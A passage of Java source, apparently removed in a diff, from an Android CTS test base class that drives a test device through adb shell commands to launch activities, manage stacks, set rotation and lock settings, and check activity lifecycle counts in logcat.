- FREEFORM_WORKSPACE_STACK_ID, DOCKED_STACK_ID, PINNED_STACK_ID, ASSISTANT_STACK_ID
- };
-
- private static final String TASK_ID_PREFIX = "taskId";
-
- private static final String AM_STACK_LIST = "am stack list";
-
- private static final String AM_FORCE_STOP_TEST_PACKAGE = "am force-stop android.server.cts";
- private static final String AM_FORCE_STOP_SECOND_TEST_PACKAGE
- = "am force-stop android.server.cts.second";
- private static final String AM_FORCE_STOP_THIRD_TEST_PACKAGE
- = "am force-stop android.server.cts.third";
-
- private static final String AM_REMOVE_STACK = "am stack remove ";
-
- protected static final String AM_START_HOME_ACTIVITY_COMMAND =
- "am start -a android.intent.action.MAIN -c android.intent.category.HOME";
-
- protected static final String AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND =
- "am stack move-top-activity-to-pinned-stack 1 0 0 500 500";
-
- static final String LAUNCHING_ACTIVITY = "LaunchingActivity";
- static final String ALT_LAUNCHING_ACTIVITY = "AltLaunchingActivity";
- static final String BROADCAST_RECEIVER_ACTIVITY = "BroadcastReceiverActivity";
-
- /** Broadcast shell command for finishing {@link BroadcastReceiverActivity}. */
- static final String FINISH_ACTIVITY_BROADCAST
- = "am broadcast -a trigger_broadcast --ez finish true";
-
- /** Broadcast shell command for finishing {@link BroadcastReceiverActivity}. */
- static final String MOVE_TASK_TO_BACK_BROADCAST
- = "am broadcast -a trigger_broadcast --ez moveToBack true";
-
- private static final String AM_RESIZE_DOCKED_STACK = "am stack resize-docked-stack ";
- private static final String AM_RESIZE_STACK = "am stack resize ";
-
- static final String AM_MOVE_TASK = "am stack move-task ";
-
- private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
- "am supports-split-screen-multi-window";
- private static final String AM_NO_HOME_SCREEN = "am no-home-screen";
-
- private static final String INPUT_KEYEVENT_HOME = "input keyevent 3";
- private static final String INPUT_KEYEVENT_BACK = "input keyevent 4";
- private static final String INPUT_KEYEVENT_APP_SWITCH = "input keyevent 187";
- public static final String INPUT_KEYEVENT_WINDOW = "input keyevent 171";
-
- private static final String LOCK_CREDENTIAL = "1234";
-
- private static final int INVALID_DISPLAY_ID = -1;
-
- private static final String DEFAULT_COMPONENT_NAME = "android.server.cts";
-
- private static final int UI_MODE_TYPE_MASK = 0x0f;
- private static final int UI_MODE_TYPE_VR_HEADSET = 0x07;
-
- static String componentName = DEFAULT_COMPONENT_NAME;
-
- protected static final int INVALID_DEVICE_ROTATION = -1;
-
- /** A reference to the device under test. */
- protected ITestDevice mDevice;
-
- private HashSet<String> mAvailableFeatures;
-
- private boolean mLockCredentialsSet;
-
- private boolean mLockDisabled;
-
- protected static String getAmStartCmd(final String activityName) {
- return "am start -n " + getActivityComponentName(activityName);
- }
-
- /**
- * @return the am command to start the given activity with the following extra key/value pairs.
- * {@param keyValuePairs} must be a list of arguments defining each key/value extra.
- */
- protected static String getAmStartCmd(final String activityName,
- final String... keyValuePairs) {
- String base = getAmStartCmd(activityName);
- if (keyValuePairs.length % 2 != 0) {
- throw new RuntimeException("keyValuePairs must be pairs of key/value arguments");
- }
- for (int i = 0; i < keyValuePairs.length; i += 2) {
- base += " --es " + keyValuePairs[i] + " " + keyValuePairs[i + 1];
- }
- return base;
- }
-
- protected static String getAmStartCmd(final String activityName, final int displayId) {
- return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000"
- + " --display " + displayId;
- }
-
- protected static String getAmStartCmdInNewTask(final String activityName) {
- return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000";
- }
-
- protected static String getAmStartCmdOverHome(final String activityName) {
- return "am start --activity-task-on-home -n " + getActivityComponentName(activityName);
- }
-
- protected static String getOrientationBroadcast(int orientation) {
- return "am broadcast -a trigger_broadcast --ei orientation " + orientation;
- }
-
- static String getActivityComponentName(final String activityName) {
- return getActivityComponentName(componentName, activityName);
- }
-
- private static boolean isFullyQualifiedActivityName(String name) {
- return name != null && name.contains(".");
- }
-
- static String getActivityComponentName(final String packageName, final String activityName) {
- return packageName + "/" + (isFullyQualifiedActivityName(activityName) ? "" : ".") +
- activityName;
- }
-
- // A little ugly, but lets avoid having to strip static everywhere for
- // now.
- public static void setComponentName(String name) {
- componentName = name;
- }
-
- protected static void setDefaultComponentName() {
- setComponentName(DEFAULT_COMPONENT_NAME);
- }
-
- static String getBaseWindowName() {
- return getBaseWindowName(componentName);
- }
-
- static String getBaseWindowName(final String packageName) {
- return getBaseWindowName(packageName, true /*prependPackageName*/);
- }
-
- static String getBaseWindowName(final String packageName, boolean prependPackageName) {
- return packageName + "/" + (prependPackageName ? packageName + "." : "");
- }
-
- static String getWindowName(final String activityName) {
- return getWindowName(componentName, activityName);
- }
-
- static String getWindowName(final String packageName, final String activityName) {
- return getBaseWindowName(packageName, !isFullyQualifiedActivityName(activityName))
- + activityName;
- }
-
- protected ActivityAndWindowManagersState mAmWmState = new ActivityAndWindowManagersState();
-
- private int mInitialAccelerometerRotation;
- private int mUserRotation;
- private float mFontScale;
-
- private SurfaceTraceReceiver mSurfaceTraceReceiver;
- private Thread mSurfaceTraceThread;
-
- void installSurfaceObserver(SurfaceTraceReceiver.SurfaceObserver observer) {
- mSurfaceTraceReceiver = new SurfaceTraceReceiver(observer);
- mSurfaceTraceThread = new Thread() {
- @Override
- public void run() {
- try {
- mDevice.executeShellCommand("wm surface-trace", mSurfaceTraceReceiver);
- } catch (DeviceNotAvailableException e) {
- logE("Device not available: " + e.toString());
- }
- }
- };
- mSurfaceTraceThread.start();
- }
-
- void removeSurfaceObserver() {
- mSurfaceTraceReceiver.cancel();
- mSurfaceTraceThread.interrupt();
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- setDefaultComponentName();
-
- // Get the device, this gives a handle to run commands and install APKs.
- mDevice = getDevice();
- wakeUpAndUnlockDevice();
- pressHomeButton();
- // Remove special stacks.
- removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
- // Store rotation settings.
- mInitialAccelerometerRotation = getAccelerometerRotation();
- mUserRotation = getUserRotation();
- mFontScale = getFontScale();
- mLockCredentialsSet = false;
- mLockDisabled = isLockDisabled();
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- try {
- setLockDisabled(mLockDisabled);
- executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
- executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
- executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
- // Restore rotation settings to the state they were before test.
- setAccelerometerRotation(mInitialAccelerometerRotation);
- setUserRotation(mUserRotation);
- setFontScale(mFontScale);
- setWindowTransitionAnimationDurationScale(1);
- // Remove special stacks.
- removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
- wakeUpAndUnlockDevice();
- pressHomeButton();
- } catch (DeviceNotAvailableException e) {
- }
- }
-
- protected void removeStacks(int... stackIds) {
- try {
- for (Integer stackId : stackIds) {
- executeShellCommand(AM_REMOVE_STACK + stackId);
- }
- } catch (DeviceNotAvailableException e) {
- }
- }
-
- protected String executeShellCommand(String command) throws DeviceNotAvailableException {
- return executeShellCommand(mDevice, command);
- }
-
- protected static String executeShellCommand(ITestDevice device, String command)
- throws DeviceNotAvailableException {
- log("adb shell " + command);
- return device.executeShellCommand(command);
- }
-
- protected void executeShellCommand(String command, CollectingOutputReceiver outputReceiver)
- throws DeviceNotAvailableException {
- log("adb shell " + command);
- mDevice.executeShellCommand(command, outputReceiver);
- }
-
- protected BufferedImage takeScreenshot() throws Exception {
- final InputStreamSource stream = mDevice.getScreenshot("PNG", false /* rescale */);
- if (stream == null) {
- fail("Failed to take screenshot of device");
- }
- return ImageIO.read(stream.createInputStream());
- }
-
- protected void launchActivityInComponent(final String componentName,
- final String targetActivityName, final String... keyValuePairs) throws Exception {
- final String originalComponentName = ActivityManagerTestBase.componentName;
- setComponentName(componentName);
- launchActivity(targetActivityName, keyValuePairs);
- setComponentName(originalComponentName);
- }
-
- protected void launchActivity(final String targetActivityName, final String... keyValuePairs)
- throws Exception {
- executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
- mAmWmState.waitForValidState(mDevice, targetActivityName);
- }
-
- protected void launchActivityNoWait(final String targetActivityName,
- final String... keyValuePairs) throws Exception {
- executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
- }
-
- protected void launchActivityInNewTask(final String targetActivityName) throws Exception {
- executeShellCommand(getAmStartCmdInNewTask(targetActivityName));
- mAmWmState.waitForValidState(mDevice, targetActivityName);
- }
-
- /**
- * Starts an activity in a new stack.
- * @return the stack id of the newly created stack.
- */
- protected int launchActivityInNewDynamicStack(final String activityName) throws Exception {
- HashSet<Integer> stackIds = getStackIds();
- executeShellCommand("am stack start " + ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID
- + " " + getActivityComponentName(activityName));
- HashSet<Integer> newStackIds = getStackIds();
- newStackIds.removeAll(stackIds);
- if (newStackIds.isEmpty()) {
- return INVALID_STACK_ID;
- } else {
- assertTrue(newStackIds.size() == 1);
- return newStackIds.iterator().next();
- }
- }
-
- /**
- * Returns the set of stack ids.
- */
- private HashSet<Integer> getStackIds() throws Exception {
- mAmWmState.computeState(mDevice, null);
- final List<ActivityStack> stacks = mAmWmState.getAmState().getStacks();
- final HashSet<Integer> stackIds = new HashSet<>();
- for (ActivityStack s : stacks) {
- stackIds.add(s.mStackId);
- }
- return stackIds;
- }
-
- protected void launchHomeActivity()
- throws Exception {
- executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
- mAmWmState.waitForHomeActivityVisible(mDevice);
- }
-
- protected void launchActivityOnDisplay(String targetActivityName, int displayId)
- throws Exception {
- executeShellCommand(getAmStartCmd(targetActivityName, displayId));
-
- mAmWmState.waitForValidState(mDevice, targetActivityName);
- }
-
- /**
- * Launch specific target activity. It uses existing instance of {@link #LAUNCHING_ACTIVITY}, so
- * that one should be started first.
- * @param toSide Launch to side in split-screen.
- * @param randomData Make intent URI random by generating random data.
- * @param multipleTask Allow multiple task launch.
- * @param targetActivityName Target activity to be launched. Only class name should be provided,
- * package name of {@link #LAUNCHING_ACTIVITY} will be added
- * automatically.
- * @param displayId Display id where target activity should be launched.
- * @throws Exception
- */
- protected void launchActivityFromLaunching(boolean toSide, boolean randomData,
- boolean multipleTask, String targetActivityName, int displayId) throws Exception {
- StringBuilder commandBuilder = new StringBuilder(getAmStartCmd(LAUNCHING_ACTIVITY));
- commandBuilder.append(" -f 0x20000000");
- if (toSide) {
- commandBuilder.append(" --ez launch_to_the_side true");
- }
- if (randomData) {
- commandBuilder.append(" --ez random_data true");
- }
- if (multipleTask) {
- commandBuilder.append(" --ez multiple_task true");
- }
- if (targetActivityName != null) {
- commandBuilder.append(" --es target_activity ").append(targetActivityName);
- }
- if (displayId != INVALID_DISPLAY_ID) {
- commandBuilder.append(" --ei display_id ").append(displayId);
- }
- executeShellCommand(commandBuilder.toString());
-
- mAmWmState.waitForValidState(mDevice, targetActivityName);
- }
-
- protected void launchActivityInStack(String activityName, int stackId,
- final String... keyValuePairs) throws Exception {
- executeShellCommand(getAmStartCmd(activityName, keyValuePairs) + " --stack " + stackId);
-
- mAmWmState.waitForValidState(mDevice, activityName, stackId);
- }
-
- protected void launchActivityInDockStack(String activityName) throws Exception {
- launchActivity(activityName);
- // TODO(b/36279415): The way we launch an activity into the docked stack is different from
- // what the user actually does. Long term we should use
- // "adb shell input keyevent --longpress _app_swich_key_code_" to trigger a long press on
- // the recents button which is consistent with what the user does. However, currently sys-ui
- // does handle FLAG_LONG_PRESS for the app switch key. It just listens for long press on the
- // view. We need to fix that in sys-ui before we can change this.
- moveActivityToDockStack(activityName);
-
- mAmWmState.waitForValidState(mDevice, activityName, DOCKED_STACK_ID);
- }
-
- protected void launchActivityToSide(boolean randomData, boolean multipleTaskFlag,
- String targetActivity) throws Exception {
- final String activityToLaunch = targetActivity != null ? targetActivity : "TestActivity";
- getLaunchActivityBuilder().setToSide(true).setRandomData(randomData)
- .setMultipleTask(multipleTaskFlag).setTargetActivityName(activityToLaunch)
- .execute();
-
- mAmWmState.waitForValidState(mDevice, activityToLaunch, FULLSCREEN_WORKSPACE_STACK_ID);
- }
-
- protected void moveActivityToDockStack(String activityName) throws Exception {
- moveActivityToStack(activityName, DOCKED_STACK_ID);
- }
-
- protected void moveActivityToStack(String activityName, int stackId) throws Exception {
- final int taskId = getActivityTaskId(activityName);
- final String cmd = AM_MOVE_TASK + taskId + " " + stackId + " true";
- executeShellCommand(cmd);
-
- mAmWmState.waitForValidState(mDevice, activityName, stackId);
- }
-
- protected void resizeActivityTask(String activityName, int left, int top, int right, int bottom)
- throws Exception {
- final int taskId = getActivityTaskId(activityName);
- final String cmd = "am task resize "
- + taskId + " " + left + " " + top + " " + right + " " + bottom;
- executeShellCommand(cmd);
- }
-
- protected void resizeDockedStack(
- int stackWidth, int stackHeight, int taskWidth, int taskHeight)
- throws DeviceNotAvailableException {
- executeShellCommand(AM_RESIZE_DOCKED_STACK
- + "0 0 " + stackWidth + " " + stackHeight
- + " 0 0 " + taskWidth + " " + taskHeight);
- }
-
- protected void resizeStack(int stackId, int stackLeft, int stackTop, int stackWidth,
- int stackHeight) throws DeviceNotAvailableException {
- executeShellCommand(AM_RESIZE_STACK + String.format("%d %d %d %d %d", stackId, stackLeft,
- stackTop, stackWidth, stackHeight));
- }
-
- protected void pressHomeButton() throws DeviceNotAvailableException {
- executeShellCommand(INPUT_KEYEVENT_HOME);
- }
-
- protected void pressBackButton() throws DeviceNotAvailableException {
- executeShellCommand(INPUT_KEYEVENT_BACK);
- }
-
- protected void pressAppSwitchButton() throws DeviceNotAvailableException {
- executeShellCommand(INPUT_KEYEVENT_APP_SWITCH);
- }
-
- // Utility method for debugging, not used directly here, but useful, so kept around.
- protected void printStacksAndTasks() throws DeviceNotAvailableException {
- CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- executeShellCommand(AM_STACK_LIST, outputReceiver);
- String output = outputReceiver.getOutput();
- for (String line : output.split("\\n")) {
- CLog.logAndDisplay(LogLevel.INFO, line);
- }
- }
-
- protected int getActivityTaskId(String name) throws DeviceNotAvailableException {
- CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- executeShellCommand(AM_STACK_LIST, outputReceiver);
- final String output = outputReceiver.getOutput();
- final Pattern activityPattern = Pattern.compile("(.*) " + getWindowName(name) + " (.*)");
- for (String line : output.split("\\n")) {
- Matcher matcher = activityPattern.matcher(line);
- if (matcher.matches()) {
- for (String word : line.split("\\s+")) {
- if (word.startsWith(TASK_ID_PREFIX)) {
- final String withColon = word.split("=")[1];
- return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
- }
- }
- }
- }
- return -1;
- }
-
- protected boolean supportsVrMode() throws DeviceNotAvailableException {
- return hasDeviceFeature("android.software.vr.mode") &&
- hasDeviceFeature("android.hardware.vr.high_performance");
- }
-
- protected boolean supportsPip() throws DeviceNotAvailableException {
- return hasDeviceFeature("android.software.picture_in_picture")
- || PRETEND_DEVICE_SUPPORTS_PIP;
- }
-
- protected boolean supportsFreeform() throws DeviceNotAvailableException {
- return hasDeviceFeature("android.software.freeform_window_management")
- || PRETEND_DEVICE_SUPPORTS_FREEFORM;
- }
-
- protected boolean isHandheld() throws DeviceNotAvailableException {
- return !hasDeviceFeature("android.software.leanback")
- && !hasDeviceFeature("android.hardware.type.watch")
- && !hasDeviceFeature("android.hardware.type.embedded");
- }
-
- // TODO: Switch to using a feature flag, when available.
- protected boolean isUiModeLockedToVrHeadset() throws DeviceNotAvailableException {
- final String output = runCommandAndPrintOutput("dumpsys uimode");
-
- Integer curUiMode = null;
- Boolean uiModeLocked = null;
- for (String line : output.split("\\n")) {
- line = line.trim();
- Matcher matcher = sCurrentUiModePattern.matcher(line);
- if (matcher.find()) {
- curUiMode = Integer.parseInt(matcher.group(1), 16);
- }
- matcher = sUiModeLockedPattern.matcher(line);
- if (matcher.find()) {
- uiModeLocked = matcher.group(1).equals("true");
- }
- }
-
- boolean uiModeLockedToVrHeadset = (curUiMode != null) && (uiModeLocked != null)
- && ((curUiMode & UI_MODE_TYPE_MASK) == UI_MODE_TYPE_VR_HEADSET) && uiModeLocked;
-
- if (uiModeLockedToVrHeadset) {
- CLog.logAndDisplay(LogLevel.INFO, "UI mode is locked to VR headset");
- }
-
- return uiModeLockedToVrHeadset;
- }
-
- protected boolean supportsSplitScreenMultiWindow() throws DeviceNotAvailableException {
- CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW, outputReceiver);
- String output = outputReceiver.getOutput();
- return !output.startsWith("false");
- }
-
- protected boolean noHomeScreen() throws DeviceNotAvailableException {
- CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- executeShellCommand(AM_NO_HOME_SCREEN, outputReceiver);
- String output = outputReceiver.getOutput();
- return output.startsWith("true");
- }
-
- /**
- * Rotation support is indicated by explicitly having both landscape and portrait
- * features or not listing either at all.
- */
- protected boolean supportsRotation() throws DeviceNotAvailableException {
- return (hasDeviceFeature("android.hardware.screen.landscape")
- && hasDeviceFeature("android.hardware.screen.portrait"))
- || (!hasDeviceFeature("android.hardware.screen.landscape")
- && !hasDeviceFeature("android.hardware.screen.portrait"));
- }
-
- protected boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
- if (mAvailableFeatures == null) {
- // TODO: Move this logic to ITestDevice.
- final String output = runCommandAndPrintOutput("pm list features");
-
- // Extract the id of the new user.
- mAvailableFeatures = new HashSet<>();
- for (String feature: output.split("\\s+")) {
- // Each line in the output of the command has the format "feature:{FEATURE_VALUE}".
- String[] tokens = feature.split(":");
- assertTrue("\"" + feature + "\" expected to have format feature:{FEATURE_VALUE}",
- tokens.length > 1);
- assertEquals(feature, "feature", tokens[0]);
- mAvailableFeatures.add(tokens[1]);
- }
- }
- boolean result = mAvailableFeatures.contains(requiredFeature);
- if (!result) {
- CLog.logAndDisplay(LogLevel.INFO, "Device doesn't support " + requiredFeature);
- }
- return result;
- }
-
- protected boolean isDisplayOn() throws DeviceNotAvailableException {
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- mDevice.executeShellCommand("dumpsys power", outputReceiver);
-
- for (String line : outputReceiver.getOutput().split("\\n")) {
- line = line.trim();
-
- final Matcher matcher = sDisplayStatePattern.matcher(line);
- if (matcher.matches()) {
- final String state = matcher.group(1);
- log("power state=" + state);
- return "ON".equals(state);
- }
- }
- log("power state :(");
- return false;
- }
-
- protected void sleepDevice() throws DeviceNotAvailableException {
- int retriesLeft = 5;
- runCommandAndPrintOutput("input keyevent SLEEP");
- do {
- if (isDisplayOn()) {
- log("***Waiting for display to turn off...");
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- // Well I guess we are not waiting...
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
- }
-
- protected void wakeUpAndUnlockDevice() throws DeviceNotAvailableException {
- wakeUpDevice();
- unlockDevice();
- }
-
- protected void wakeUpAndRemoveLock() throws DeviceNotAvailableException {
- wakeUpDevice();
- setLockDisabled(true);
- }
-
- protected void wakeUpDevice() throws DeviceNotAvailableException {
- runCommandAndPrintOutput("input keyevent WAKEUP");
- }
-
- protected void unlockDevice() throws DeviceNotAvailableException {
- runCommandAndPrintOutput("input keyevent 82");
- }
-
- protected void unlockDeviceWithCredential() throws Exception {
- runCommandAndPrintOutput("input keyevent 82");
- try {
- Thread.sleep(3000);
- } catch (InterruptedException e) {
- //ignored
- }
- enterAndConfirmLockCredential();
- }
-
- protected void enterAndConfirmLockCredential() throws Exception {
- // TODO: This should use waitForIdle..but there ain't such a thing on hostside tests, boo :(
- Thread.sleep(500);
-
- runCommandAndPrintOutput("input text " + LOCK_CREDENTIAL);
- runCommandAndPrintOutput("input keyevent KEYCODE_ENTER");
- }
-
- protected void gotoKeyguard() throws Exception {
- sleepDevice();
- wakeUpDevice();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- }
-
- protected void setLockCredential() throws DeviceNotAvailableException {
- mLockCredentialsSet = true;
- runCommandAndPrintOutput("locksettings set-pin " + LOCK_CREDENTIAL);
- }
-
- private void removeLockCredential() throws DeviceNotAvailableException {
- runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
- }
-
- /**
- * Returns whether the lock screen is disabled.
- * @return true if the lock screen is disabled, false otherwise.
- */
- private boolean isLockDisabled() throws DeviceNotAvailableException {
- final String isLockDisabled = runCommandAndPrintOutput("locksettings get-disabled").trim();
- if ("null".equals(isLockDisabled)) {
- return false;
- }
- return Boolean.parseBoolean(isLockDisabled);
-
- }
-
- /**
- * Disable the lock screen.
- * @param lockDisabled true if should disable, false otherwise.
- */
- void setLockDisabled(boolean lockDisabled) throws DeviceNotAvailableException {
- runCommandAndPrintOutput("locksettings set-disabled " + lockDisabled);
- }
-
- /**
- * Sets the device rotation, value corresponds to one of {@link Surface.ROTATION_0},
- * {@link Surface.ROTATION_90}, {@link Surface.ROTATION_180}, {@link Surface.ROTATION_270}.
- */
- protected void setDeviceRotation(int rotation) throws Exception {
- setAccelerometerRotation(0);
- setUserRotation(rotation);
- mAmWmState.waitForRotation(mDevice, rotation);
- }
-
- protected int getDeviceRotation(int displayId) throws DeviceNotAvailableException {
- final String displays = runCommandAndPrintOutput("dumpsys display displays").trim();
- Pattern pattern = Pattern.compile(
- "(mDisplayId=" + displayId + ")([\\s\\S]*)(mOverrideDisplayInfo)(.*)"
- + "(rotation)(\\s+)(\\d+)");
- Matcher matcher = pattern.matcher(displays);
- while (matcher.find()) {
- final String match = matcher.group(7);
- return Integer.parseInt(match);
- }
-
- return INVALID_DEVICE_ROTATION;
- }
-
- private int getAccelerometerRotation() throws DeviceNotAvailableException {
- final String rotation =
- runCommandAndPrintOutput("settings get system accelerometer_rotation");
- return Integer.parseInt(rotation.trim());
- }
-
- private void setAccelerometerRotation(int rotation) throws DeviceNotAvailableException {
- runCommandAndPrintOutput(
- "settings put system accelerometer_rotation " + rotation);
- }
-
- protected int getUserRotation() throws DeviceNotAvailableException {
- final String rotation =
- runCommandAndPrintOutput("settings get system user_rotation").trim();
- if ("null".equals(rotation)) {
- return -1;
- }
- return Integer.parseInt(rotation);
- }
-
- private void setUserRotation(int rotation) throws DeviceNotAvailableException {
- if (rotation == -1) {
- runCommandAndPrintOutput(
- "settings delete system user_rotation");
- } else {
- runCommandAndPrintOutput(
- "settings put system user_rotation " + rotation);
- }
- }
-
- protected void setFontScale(float fontScale) throws DeviceNotAvailableException {
- if (fontScale == 0.0f) {
- runCommandAndPrintOutput(
- "settings delete system font_scale");
- } else {
- runCommandAndPrintOutput(
- "settings put system font_scale " + fontScale);
- }
- }
-
- protected void setWindowTransitionAnimationDurationScale(float animDurationScale)
- throws DeviceNotAvailableException {
- runCommandAndPrintOutput(
- "settings put global transition_animation_scale " + animDurationScale);
- }
-
- protected float getFontScale() throws DeviceNotAvailableException {
- try {
- final String fontScale =
- runCommandAndPrintOutput("settings get system font_scale").trim();
- return Float.parseFloat(fontScale);
- } catch (NumberFormatException e) {
- // If we don't have a valid font scale key, return 0.0f now so
- // that we delete the key in tearDown().
- return 0.0f;
- }
- }
-
- protected String runCommandAndPrintOutput(String command) throws DeviceNotAvailableException {
- final String output = executeShellCommand(command);
- log(output);
- return output;
- }
-
- /**
- * Tries to clear logcat and inserts log separator in case clearing didn't succeed, so we can
- * always find the starting point from where to evaluate following logs.
- * @return Unique log separator.
- */
- protected String clearLogcat() throws DeviceNotAvailableException {
- mDevice.executeAdbCommand("logcat", "-c");
- final String uniqueString = UUID.randomUUID().toString();
- executeShellCommand("log -t " + LOG_SEPARATOR + " " + uniqueString);
- return uniqueString;
- }
-
- void assertActivityLifecycle(String activityName, boolean relaunched,
- String logSeparator) throws DeviceNotAvailableException {
- int retriesLeft = 5;
- String resultString;
- do {
- resultString = verifyLifecycleCondition(activityName, logSeparator, relaunched);
- if (resultString != null) {
- log("***Waiting for valid lifecycle state: " + resultString);
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
-
- assertNull(resultString, resultString);
- }
-
- /** @return Error string if lifecycle counts don't match, null if everything is fine. */
- private String verifyLifecycleCondition(String activityName, String logSeparator,
- boolean relaunched) throws DeviceNotAvailableException {
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
- logSeparator);
- if (relaunched) {
- if (lifecycleCounts.mDestroyCount < 1) {
- return activityName + " must have been destroyed. mDestroyCount="
- + lifecycleCounts.mDestroyCount;
- }
- if (lifecycleCounts.mCreateCount < 1) {
- return activityName + " must have been (re)created. mCreateCount="
- + lifecycleCounts.mCreateCount;
- }
- } else {
- if (lifecycleCounts.mDestroyCount > 0) {
- return activityName + " must *NOT* have been destroyed. mDestroyCount="
- + lifecycleCounts.mDestroyCount;
- }
- if (lifecycleCounts.mCreateCount > 0) {
- return activityName + " must *NOT* have been (re)created. mCreateCount="
- + lifecycleCounts.mCreateCount;
- }
- if (lifecycleCounts.mConfigurationChangedCount < 1) {
- return activityName + " must have received configuration changed. "
- + "mConfigurationChangedCount="
- + lifecycleCounts.mConfigurationChangedCount;
- }
- }
- return null;
- }
-
- protected void assertRelaunchOrConfigChanged(
- String activityName, int numRelaunch, int numConfigChange, String logSeparator)
- throws DeviceNotAvailableException {
- int retriesLeft = 5;
- String resultString;
- do {
- resultString = verifyRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange,
- logSeparator);
- if (resultString != null) {
- log("***Waiting for relaunch or config changed: " + resultString);
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
-
- assertNull(resultString, resultString);
- }
-
- /** @return Error string if lifecycle counts don't match, null if everything is fine. */
- private String verifyRelaunchOrConfigChanged(String activityName, int numRelaunch,
- int numConfigChange, String logSeparator) throws DeviceNotAvailableException {
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
- logSeparator);
-
- if (lifecycleCounts.mDestroyCount != numRelaunch) {
- return activityName + " has been destroyed " + lifecycleCounts.mDestroyCount
- + " time(s), expecting " + numRelaunch;
- } else if (lifecycleCounts.mCreateCount != numRelaunch) {
- return activityName + " has been (re)created " + lifecycleCounts.mCreateCount
- + " time(s), expecting " + numRelaunch;
- } else if (lifecycleCounts.mConfigurationChangedCount != numConfigChange) {
- return activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
- + " onConfigurationChanged() calls, expecting " + numConfigChange;
- }
- return null;
- }
-
- protected void assertActivityDestroyed(String activityName, String logSeparator)
- throws DeviceNotAvailableException {
- int retriesLeft = 5;
- String resultString;
- do {
- resultString = verifyActivityDestroyed(activityName, logSeparator);
- if (resultString != null) {
- log("***Waiting for activity destroyed: " + resultString);
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
-
- assertNull(resultString, resultString);
- }
-
- /** @return Error string if lifecycle counts don't match, null if everything is fine. */
- private String verifyActivityDestroyed(String activityName, String logSeparator)
- throws DeviceNotAvailableException {
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
- logSeparator);
-
- if (lifecycleCounts.mDestroyCount != 1) {
- return activityName + " has been destroyed " + lifecycleCounts.mDestroyCount
- + " time(s), expecting single destruction.";
- } else if (lifecycleCounts.mCreateCount != 0) {
- return activityName + " has been (re)created " + lifecycleCounts.mCreateCount
- + " time(s), not expecting any.";
- } else if (lifecycleCounts.mConfigurationChangedCount != 0) {
- return activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
- + " onConfigurationChanged() calls, not expecting any.";
- }
- return null;
- }
-
- protected String[] getDeviceLogsForComponent(String componentName, String logSeparator)
- throws DeviceNotAvailableException {
- return getDeviceLogsForComponents(new String[]{componentName}, logSeparator);
- }
-
- protected String[] getDeviceLogsForComponents(final String[] componentNames,
- String logSeparator) throws DeviceNotAvailableException {
- String filters = LOG_SEPARATOR + ":I ";
- for (String component : componentNames) {
- filters += component + ":I ";
- }
- final String[] result = mDevice.executeAdbCommand(
- "logcat", "-v", "brief", "-d", filters, "*:S").split("\\n");
- if (logSeparator == null) {
- return result;
- }
-
- // Make sure that we only check logs after the separator.
- int i = 0;
- boolean lookingForSeparator = true;
- while (i < result.length && lookingForSeparator) {
- if (result[i].contains(logSeparator)) {
- lookingForSeparator = false;
- }
- i++;
- }
- final String[] filteredResult = new String[result.length - i];
- for (int curPos = 0; i < result.length; curPos++, i++) {
- filteredResult[curPos] = result[i];
- }
- return filteredResult;
- }
-
- void assertSingleLaunch(String activityName, String logSeparator) throws DeviceNotAvailableException {
- int retriesLeft = 5;
- String resultString;
- do {
- resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
- 1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
- 0 /* destroyCount */);
- if (resultString != null) {
- log("***Waiting for valid lifecycle state: " + resultString);
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- }
- } else {
- break;
- }
- } while (retriesLeft-- > 0);
-
- assertNull(resultString, resultString);
- }
-
- public void assertSingleLaunchAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
- int retriesLeft = 5;
- String resultString;
- do {
- resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
- 1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
- 0 /* destroyCount */);
